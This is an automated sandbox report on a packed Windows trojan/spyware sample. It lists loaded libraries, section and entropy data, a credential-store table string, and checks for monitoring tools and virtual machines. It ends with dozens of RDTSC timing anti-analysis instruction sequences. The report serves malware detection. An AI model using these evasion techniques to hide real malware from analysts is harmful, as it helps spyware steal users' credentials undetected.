Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05C4B9F0	0_3_05C4B9F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB04	0_3_013AEB04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AF000	0_3_013AF000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBBF	0_3_013AEBBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBA8	0_3_013AEBA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBA0	0_3_013AEBA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB98	0_3_013AEB98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB9C	0_3_013AEB9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB8C	0_3_013AEB8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEC00	0_3_013AEC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB80	0_3_013AEB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBFB	0_3_013AEBFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB79	0_3_013AEB79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBF3	0_3_013AEBF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB71	0_3_013AEB71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBF7	0_3_013AEBF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB75	0_3_013AEB75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBEB	0_3_013AEBEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB68	0_3_013AEB68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBEF	0_3_013AEBEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBE3	0_3_013AEBE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB60	0_3_013AEB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBE7	0_3_013AEBE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB64	0_3_013AEB64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBDB	0_3_013AEBDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB58	0_3_013AEB58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBDF	0_3_013AEBDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB5C	0_3_013AEB5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBD3	0_3_013AEBD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB50	0_3_013AEB50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBD7	0_3_013AEBD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB54	0_3_013AEB54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBCB	0_3_013AEBCB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB48	0_3_013AEB48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBCF	0_3_013AEBCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB4C	0_3_013AEB4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBC3	0_3_013AEBC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEBC7	0_3_013AEBC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013AEB44	0_3_013AEB44

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9981325920846394

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@5/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2154709895.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141958855.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: bRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 2918912 > 1048576

Source: file.exe

Static PE information: Raw size of rpoxyqbt is bigger than: 0x100000 < 0x29d400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ac0000.0.unpack :EW;.rsrc :W;.idata :W;rpoxyqbt:EW;qjmjnece:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;rpoxyqbt:EW;qjmjnece:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2cec72 should be: 0x2c96a4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rpoxyqbt
Source: file.exe	Static PE information: section name: qjmjnece
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013B2CBA push ds; iretd	0_3_013B2CDA

Source: file.exe

Static PE information: section name: entropy: 7.985829567371245

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EA78 second address: B1EA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90291 second address: C90295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F53D second address: C8F556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3380h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F556 second address: C8F569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jno 00007F5930C603F8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F569 second address: C8F56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F959 second address: C8F960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9360C second address: C9361A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F5930BD3376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93769 second address: C93770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93770 second address: C9377C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9377C second address: C93782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93782 second address: C937D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5930BD337Ah 0x0000000a popad 0x0000000b nop 0x0000000c push esi 0x0000000d xor esi, 74C915D3h 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F5930BD3378h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov edx, dword ptr [ebp+122D3660h] 0x00000036 push 083275D4h 0x0000003b push eax 0x0000003c push edx 0x0000003d jno 00007F5930BD3378h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C937D0 second address: C937D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C937D6 second address: C937DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C937DA second address: C93839 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 08327554h 0x00000013 movsx edx, si 0x00000016 push 00000003h 0x00000018 cld 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D246Fh], esi 0x00000021 push 00000003h 0x00000023 mov si, di 0x00000026 call 00007F5930C603F9h 0x0000002b push esi 0x0000002c jmp 00007F5930C60405h 0x00000031 pop esi 0x00000032 push eax 0x00000033 push ecx 0x00000034 push esi 0x00000035 push eax 0x00000036 pop eax 0x00000037 pop esi 0x00000038 pop ecx 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d push eax 0x0000003e push edx 0x0000003f jns 00007F5930C603FCh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93839 second address: C93864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5930BD3380h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93864 second address: C9386A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9386A second address: C93883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5930BD337Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93960 second address: C939FB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5930C603FBh 0x0000000f popad 0x00000010 add dword ptr [esp], 729CE5E0h 0x00000017 call 00007F5930C603FFh 0x0000001c push eax 0x0000001d mov dword ptr [ebp+122D1E19h], eax 0x00000023 pop edx 0x00000024 pop ecx 0x00000025 push 00000003h 0x00000027 jmp 00007F5930C60401h 0x0000002c push 00000000h 0x0000002e stc 0x0000002f jmp 00007F5930C60400h 0x00000034 push 00000003h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F5930C603F8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 push ebx 0x00000051 mov di, 3B00h 0x00000055 pop esi 0x00000056 call 00007F5930C603F9h 0x0000005b jbe 00007F5930C60408h 0x00000061 push eax 0x00000062 push edx 0x00000063 je 00007F5930C603F6h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939FB second address: C939FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939FF second address: C93A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5930C603FCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93A16 second address: C93A1C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93A1C second address: C93A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jnl 00007F5930C60400h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jmp 00007F5930C60408h 0x0000001a pushad 0x0000001b jmp 00007F5930C60403h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0DCE second address: CB0DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930BD3382h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0F84 second address: CB0F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DA42 second address: C7DA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DA4B second address: C7DA55 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5930C603F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB13CC second address: CB13D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB16B1 second address: CB16B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB16B7 second address: CB16C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F5930BD3376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1846 second address: CB186A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5930C60404h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1A33 second address: CB1A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD337Fh 0x00000009 pushad 0x0000000a jmp 00007F5930BD337Ch 0x0000000f jbe 00007F5930BD3376h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1A5A second address: CB1A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1A5F second address: CB1A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2161 second address: CB2180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F5930C603F6h 0x0000000a jmp 00007F5930C60405h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB28B0 second address: CB28B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2E9C second address: CB2EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F5930C603F6h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jno 00007F5930C603F6h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2EB7 second address: CB2EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5930BD3376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2EC2 second address: CB2ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2ED4 second address: CB2ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7348 second address: CB734D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB734D second address: CB7357 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5930BD337Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9F96 second address: CB9F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB88AC second address: CB88C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F5930BD3376h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F5930BD3378h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA1AD second address: CBA1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA1B1 second address: CBA1B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
